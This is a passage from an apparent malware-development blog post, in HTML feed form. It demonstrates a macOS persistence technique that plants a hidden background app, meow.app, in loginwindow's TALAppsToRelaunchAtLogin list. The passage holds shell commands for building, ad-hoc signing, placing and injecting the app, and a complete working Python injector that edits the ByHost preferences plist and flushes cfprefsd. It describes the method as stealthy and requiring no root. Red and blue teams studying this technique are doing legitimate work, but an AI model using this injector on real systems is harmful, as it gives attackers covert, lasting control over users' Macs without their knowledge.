  <span class="nt">&lt;string&gt;</span>com.cocomelonc.meow<span class="nt">&lt;/string&gt;</span>
  <span class="nt">&lt;key&gt;</span>CFBundlePackageType<span class="nt">&lt;/key&gt;</span>
  <span class="nt">&lt;string&gt;</span>APPL<span class="nt">&lt;/string&gt;</span>
  <span class="nt">&lt;key&gt;</span>LSBackgroundOnly<span class="nt">&lt;/key&gt;</span>
  <span class="nt">&lt;true/&gt;</span>
<span class="nt">&lt;/dict&gt;</span>
<span class="nt">&lt;/plist&gt;</span>
</code></pre></div></div>

<h3 id="demo-1-first-try">demo 1. first try</h3>

<p>Let’s see everything in action. Step by step.</p>

<p>First of all, we need to packaging the bundle. We need to compile the code and organize it into a proper <code class="language-plaintext highlighter-rouge">.app</code> structure.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir</span> <span class="nt">-p</span> /tmp/meow.app/Contents/MacOS
</code></pre></div></div>

<p><img src="/assets/images/196/2026-03-29_18-26.png" alt="malware" class="img-responsive" /></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>clang hack.c <span class="nt">-o</span> /tmp/meow.app/Contents/MacOS/meow
</code></pre></div></div>

<p><img src="/assets/images/196/2026-03-29_18-30.png" alt="malware" class="img-responsive" /></p>

<p>adding the <code class="language-plaintext highlighter-rouge">Info.plist</code> (use the <code class="language-plaintext highlighter-rouge">XML</code> above):</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cp</span> ./Info.plist /tmp/meow.app/Contents/
</code></pre></div></div>

<p><img src="/assets/images/196/2026-03-29_18-30_1.png" alt="malware" class="img-responsive" /></p>

<p>Ad-hoc sign the bundle:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>codesign <span class="nt">-s</span> - <span class="nt">--force</span> /tmp/meow.app
</code></pre></div></div>

<p><img src="/assets/images/196/2026-03-29_22-04.png" alt="malware" class="img-responsive" /></p>

<p>and move to a permissive location:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cp</span> <span class="nt">-rv</span> /tmp/meow.app /Users/Shared/meow.app
</code></pre></div></div>

<p><img src="/assets/images/196/2026-03-29_18-32.png" alt="malware" class="img-responsive" /></p>

<p>Now we must perform two steps: <em>registering</em> the app with the system and <em>injecting it</em> into the preferences.</p>

<p>On modern macOS and VMs, use <code class="language-plaintext highlighter-rouge">IOPlatformExpertDevice</code> to find the <code class="language-plaintext highlighter-rouge">UUID</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">uuid</span><span class="o">=</span><span class="si">$(</span>ioreg <span class="nt">-rd1</span> <span class="nt">-c</span> IOPlatformExpertDevice | <span class="nb">awk</span> <span class="nt">-F</span><span class="s1">'"'</span> <span class="s1">'/IOPlatformUUID/ {print $4}'</span><span class="si">)</span>
</code></pre></div></div>

<p><img src="/assets/images/196/2026-03-29_20-40.png" alt="malware" class="img-responsive" /></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">plist_path</span><span class="o">=</span><span class="s2">"</span><span class="nv">$HOME</span><span class="s2">/Library/Preferences/ByHost/com.apple.loginwindow.</span><span class="nv">$uuid</span><span class="s2">.plist"</span>
</code></pre></div></div>

<p><img src="/assets/images/196/2026-03-29_20-42.png" alt="malware" class="img-responsive" /></p>

<p>As mentioned, the app must be running. We launch it once manually (simulating the first infection run):</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>open /Users/Shared/meow.app
</code></pre></div></div>

<p>The app is now running in the background (invisible because of <code class="language-plaintext highlighter-rouge">LSBackgroundOnly</code>)</p>

<p>Finally, we add the entry to the plist:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>defaults write <span class="s2">"</span><span class="nv">$plist_path</span><span class="s2">"</span> TALApps <span class="nt">-array-add</span> <span class="s1">'{ "BundleID" = "com.cocomelonc.meow"; "Path" = "/Users/Shared/meow.app"; }'</span>
</code></pre></div></div>

<p><img src="/assets/images/196/2026-03-29_20-43.png" alt="malware" class="img-responsive" /></p>

<p>Sometimes, we also call <code class="language-plaintext highlighter-rouge">killall cfprefsd</code> to force macOS to flush the preferences from memory to disk.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>killall cfprefsd
</code></pre></div></div>

<p>For trigger and verification, we need <code class="language-plaintext highlighter-rouge">Log Out</code> of our macOS session:</p>

<p><img src="/assets/images/196/2026-03-29_20-45.png" alt="malware" class="img-responsive" /></p>

<p>Log In back and check the log file:</p>

<p><img src="/assets/images/196/2026-03-29_20-45_1.png" alt="malware" class="img-responsive" /></p>

<p><img src="/assets/images/196/2026-03-29_20-49.png" alt="malware" class="img-responsive" /></p>

<p><img src="/assets/images/196/2026-03-29_22-15.png" alt="malware" class="img-responsive" /></p>

<p><img src="/assets/images/196/2026-03-29_22-18.png" alt="malware" class="img-responsive" /></p>

<p>If the code is correct, you will see a new entry with a timestamp corresponding to the login time. The <code class="language-plaintext highlighter-rouge">loginwindow</code> process saw your running meow app during logout, saved it to the <code class="language-plaintext highlighter-rouge">TALApps</code> list, and restarted it automatically upon login.</p>

<p><strong>But this is not works for me!</strong></p>

<h3 id="demo-2-second-attempt">demo 2. second attempt</h3>

<p>If I look again on this command:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>plutil <span class="nt">-p</span> ~/Library/Preferences/ByHost/com.apple.loginwindow.F89EC614-8EF3-53CD-B218-160EC51A3D70.plist
</code></pre></div></div>

<p><img src="/assets/images/196/2026-03-29_22-29.png" alt="malware" class="img-responsive" /></p>

<p>So, I need to inject into the correct Sonoma key: <code class="language-plaintext highlighter-rouge">TALAppsToRelaunchAtLogin</code>. Also <code class="language-plaintext highlighter-rouge">BackgroundState 2</code> typically indicates a background-ready application</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">uuid</span><span class="o">=</span><span class="si">$(</span>ioreg <span class="nt">-rd1</span> <span class="nt">-c</span> IOPlatformExpertDevice | <span class="nb">awk</span> <span class="nt">-F</span><span class="s1">'"'</span> <span class="s1">'/IOPlatformUUID/ {print $4}'</span><span class="si">)</span>
<span class="nv">plist_path</span><span class="o">=</span><span class="s2">"</span><span class="nv">$HOME</span><span class="s2">/Library/Preferences/ByHost/com.apple.loginwindow.</span><span class="nv">$uuid</span><span class="s2">.plist"</span>
<span class="nv">app_path</span><span class="o">=</span><span class="s2">"/Users/Shared/meow.app"</span>
<span class="nv">bundle_id</span><span class="o">=</span><span class="s2">"com.cocomelonc.meow"</span>

defaults write <span class="s2">"</span><span class="nv">$plist_path</span><span class="s2">"</span> TALAppsToRelaunchAtLogin <span class="nt">-array-add</span> <span class="se">\</span>
<span class="s2">"{ 
  </span><span class="se">\"</span><span class="s2">BundleID</span><span class="se">\"</span><span class="s2"> = </span><span class="se">\"</span><span class="nv">$bundle_id</span><span class="se">\"</span><span class="s2">; 
  </span><span class="se">\"</span><span class="s2">Path</span><span class="se">\"</span><span class="s2"> = </span><span class="se">\"</span><span class="nv">$app_path</span><span class="se">\"</span><span class="s2">; 
  </span><span class="se">\"</span><span class="s2">Hide</span><span class="se">\"</span><span class="s2"> = 0; 
  </span><span class="se">\"</span><span class="s2">BackgroundState</span><span class="se">\"</span><span class="s2"> = 2; 
}"</span>
</code></pre></div></div>

<p>don’t forget flush the cache:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>killall cfprefsd
</code></pre></div></div>

<p>check running <code class="language-plaintext highlighter-rouge">meow</code> application:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ps aux | <span class="nb">grep </span>meow
</code></pre></div></div>

<p><img src="/assets/images/196/2026-03-29_22-36.png" alt="malware" class="img-responsive" /></p>

<p>Logout:</p>

<p><img src="/assets/images/196/2026-03-29_22-39.png" alt="malware" class="img-responsive" /></p>

<p>Login again, but if we run for checking corectness:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>defaults <span class="nb">read</span> <span class="s2">"</span><span class="nv">$plist_path</span><span class="s2">"</span> TALAppsToRelaunchAtLogin
</code></pre></div></div>

<p><img src="/assets/images/196/2026-03-29_22-47.png" alt="malware" class="img-responsive" /></p>

<p>But why???</p>

<p>The reason our previous attempt failed is that defaults write with the <code class="language-plaintext highlighter-rouge">-array-add</code> flag is often unreliable for nested dictionaries in <code class="language-plaintext highlighter-rouge">ByHost</code> files. In our last output, defaults read showed only your app - meaning we accidentally wiped out the legitimate entries (Terminal, Finder, etc.). When <code class="language-plaintext highlighter-rouge">macOS</code> sees a session <code class="language-plaintext highlighter-rouge">plist</code> that is missing core system apps, it often treats it as corrupted and ignores it.</p>

<p>To make this work on my <code class="language-plaintext highlighter-rouge">macOS Sonoma</code> VM, I will use Python to properly parse the <code class="language-plaintext highlighter-rouge">plist</code>, append our entry to the existing array, and save it back as a binary <code class="language-plaintext highlighter-rouge">XML</code>. This is the “clean” way to do it without breaking the structure.</p>

<p>In other words, instead of overwriting the plist, we will:</p>

<p>Convert the binary <code class="language-plaintext highlighter-rouge">.plist</code> to a format we can manipulate.  <br />
Append our malicious dictionary to the <code class="language-plaintext highlighter-rouge">TALAppsToRelaunchAtLogin</code> array (?).  <br />
Force the system to reload the preferences.</p>

<h3 id="practical-example-3">practical example 3</h3>

<p>My script uses the built-in <code class="language-plaintext highlighter-rouge">plistlib</code> to ensure the binary format remains intact (<code class="language-plaintext highlighter-rouge">inject.py</code>):</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># inject.py
# surgical injection into loginwindow ByHost preferences
# author: @cocomelonc
</span>
<span class="kn">import</span> <span class="nn">plistlib</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="kn">import</span> <span class="nn">glob</span>

<span class="c1"># find the correct ByHost file
</span><span class="n">path_pattern</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">expanduser</span><span class="p">(</span><span class="s">"~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist"</span><span class="p">)</span>
<span class="n">files</span> <span class="o">=</span> <span class="n">glob</span><span class="p">.</span><span class="n">glob</span><span class="p">(</span><span class="n">path_pattern</span><span class="p">)</span>

<span class="k">if</span> <span class="ow">not</span> <span class="n">files</span><span class="p">:</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"[-] no loginwindow plist found in ByHost"</span><span class="p">)</span>
    <span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>

<span class="n">plist_path</span> <span class="o">=</span> <span class="n">files</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[*] targeting: </span><span class="si">{</span><span class="n">plist_path</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="c1"># define our malicious entry
# BackgroundState 2 = background process
# Hide 0 = do not hide (though LSBackgroundOnly in Info.plist will handle this)
</span><span class="n">evil_app</span> <span class="o">=</span> <span class="p">{</span>
    <span class="s">"BackgroundState"</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span>
    <span class="s">"BundleID"</span><span class="p">:</span> <span class="s">"com.cocomelonc.meow"</span><span class="p">,</span>
    <span class="s">"Hide"</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
    <span class="s">"Path"</span><span class="p">:</span> <span class="s">"/Users/Shared/meow.app"</span>
<span class="p">}</span>

<span class="k">try</span><span class="p">:</span>
    <span class="c1"># read the existing plist
</span>    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">plist_path</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">data</span> <span class="o">=</span> <span class="n">plistlib</span><span class="p">.</span><span class="n">load</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>

    <span class="c1"># ensure the key exists and append our app
</span>    <span class="k">if</span> <span class="s">"TALAppsToRelaunchAtLogin"</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">data</span><span class="p">:</span>
        <span class="n">data</span><span class="p">[</span><span class="s">"TALAppsToRelaunchAtLogin"</span><span class="p">]</span> <span class="o">=</span> <span class="p">[]</span>
    
    <span class="c1"># check if already injected to avoid duplicates
</span>    <span class="k">if</span> <span class="ow">not</span> <span class="nb">any</span><span class="p">(</span><span class="n">d</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'BundleID'</span><span class="p">)</span> <span class="o">==</span> <span class="n">evil_app</span><span class="p">[</span><span class="s">'BundleID'</span><span class="p">]</span> <span class="k">for</span> <span class="n">d</span> <span class="ow">in</span> <span class="n">data</span><span class="p">[</span><span class="s">"TALAppsToRelaunchAtLogin"</span><span class="p">]):</span>
        <span class="n">data</span><span class="p">[</span><span class="s">"TALAppsToRelaunchAtLogin"</span><span class="p">].</span><span class="n">append</span><span class="p">(</span><span class="n">evil_app</span><span class="p">)</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"injecting meow.app into session state..."</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"meow.app already present. skipping."</span><span class="p">)</span>

    <span class="c1"># 5. write back as binary plist
</span>    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">plist_path</span><span class="p">,</span> <span class="s">'wb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">plistlib</span><span class="p">.</span><span class="n">dump</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">f</span><span class="p">,</span> <span class="n">fmt</span><span class="o">=</span><span class="n">plistlib</span><span class="p">.</span><span class="n">FMT_BINARY</span><span class="p">)</span>

    <span class="c1"># 6. clear the preference cache
</span>    <span class="n">subprocess</span><span class="p">.</span><span class="n">run</span><span class="p">([</span><span class="s">"killall"</span><span class="p">,</span> <span class="s">"cfprefsd"</span><span class="p">])</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"injection complete. meow!"</span><span class="p">)</span>

<span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"error: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
</code></pre></div></div>

<h3 id="demo-3">demo 3</h3>

<p>Build our <code class="language-plaintext highlighter-rouge">meow.app</code> and move it to <code class="language-plaintext highlighter-rouge">/Users/Shared/</code>, we use the C code and <code class="language-plaintext highlighter-rouge">Info.plist</code> from the previous practical attempts.</p>

<p>Then the “active participant” rule: for Sonoma to restore the app, it is safest to have it running first:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>open /Users/Shared/meow.app
</code></pre></div></div>

<p><img src="/assets/images/196/2026-03-29_22-56.png" alt="malware" class="img-responsive" /></p>

<p>run the injector:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 inject.py
</code></pre></div></div>

<p><img src="/assets/images/196/2026-03-29_22-59.png" alt="malware" class="img-responsive" /></p>

<p>Finally, verify with <code class="language-plaintext highlighter-rouge">plutil</code> again. We should see our app AT THE END of the list, keeping others intact:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>plutil <span class="nt">-p</span> ~/Library/Preferences/ByHost/com.apple.loginwindow.<span class="k">*</span>.plist
</code></pre></div></div>

<p><img src="/assets/images/196/2026-03-29_22-57.png" alt="malware" class="img-responsive" /></p>

<p>Yes! Looks legit!</p>

<p>Now, perform a Log Out and Log In.</p>

<p><img src="/assets/images/196/2026-03-29_23-04.png" alt="malware" class="img-responsive" /></p>

<p>why this works now? First of all, we didn’t delete the <code class="language-plaintext highlighter-rouge">Finder</code> or <code class="language-plaintext highlighter-rouge">Terminal</code> entries. The system sees a valid, familiar session state. Secondly, using <code class="language-plaintext highlighter-rouge">plistlib</code> ensures the file is exactly what <code class="language-plaintext highlighter-rouge">loginwindow</code> expects (Binary XML <code class="language-plaintext highlighter-rouge">version 1.0</code>).  <br />
Finally, cache synchronization works! <code class="language-plaintext highlighter-rouge">killall cfprefsd</code> is the only way to make sure the OS doesn’t overwrite our file with its internal memory cache when we click “Log Out.”</p>

<p><img src="/assets/images/196/2026-03-29_23-09.png" alt="malware" class="img-responsive" /></p>

<p>The Re-opened Applications (TAL) method is a stealthy alternative to standard Login Items. It doesn’t require <code class="language-plaintext highlighter-rouge">root</code> privileges and abuses a feature that users expect to see. The trade-off is that the malware must stay alive in the background (<code class="language-plaintext highlighter-rouge">while(1)</code>) to ensure it’s included in the session snapshot.</p>

<p>This method was also documented by Patrick Wardle, in his <a href="https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf">original white paper</a></p>

<p>There’s currently no direct public report that APT groups or software used the <code class="language-plaintext highlighter-rouge">TALAppsToRelaunchAtLogin</code> array for <a href="https://attack.mitre.org/techniques/T1547/007/">persistence</a>. <a href="https://malpedia.caad.fkie.fraunhofer.de/actor/apt32">OceanLotus</a> uses the same <code class="language-plaintext highlighter-rouge">com.apple.loginwindow.plist</code> file, but a different key - <code class="language-plaintext highlighter-rouge">EnvironmentVariables</code> or <code class="language-plaintext highlighter-rouge">LSEnvironment</code>.</p>

<p>How it works? They write <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code> there. Upon login, the system reads this file, loads their malware into all processes in the session, and they profit. Perhaps in the next posts from this series I will try to reimplement this.</p>

<p>I hope this post is useful for malware R&amp;D and red teaming labs, Apple/Mac researchers, and blue team specialists.</p>

<p><a href="https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf">Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022.</a>  <br />
<a href="https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf">Patrick Wardle. Methods of Malware Persistence on MacOS X</a>  <br />
<a href="https://malpedia.caad.fkie.fraunhofer.de/actor/apt32">OceanLotus</a>  <br />
<a href="/macos/2025/06/12/malware-mac-1.html">macOS hacking part 1</a>  <br />
<a href="/macos/2026/01/05/malware-mac-persistence-1.html">macOS persistence part 1</a>  <br />
<a href="/macos/2026/03/20/mac-malware-persistence-6.html">macOS persistence part 6</a>  <br />
<a href="https://github.com/cocomelonc/meow/tree/master/2026-03-29-malware-mac-persistence-7">source code in github</a></p>

<blockquote>
  <p>This is a practical case for educational purposes only.</p>
</blockquote>

<p>Thanks for your time happy hacking and good bye!  <br />
<em>PS. All drawings and screenshots are mine</em></p>]]></content><author><name>cocomelonc</name></author><category term="macos" /><category term="red team" /><category term="persistence" /><category term="malware" /><category term="arm" /><category term="macos" /><category term="injection" /><summary type="html"><![CDATA[﷽]]></summary></entry></feed>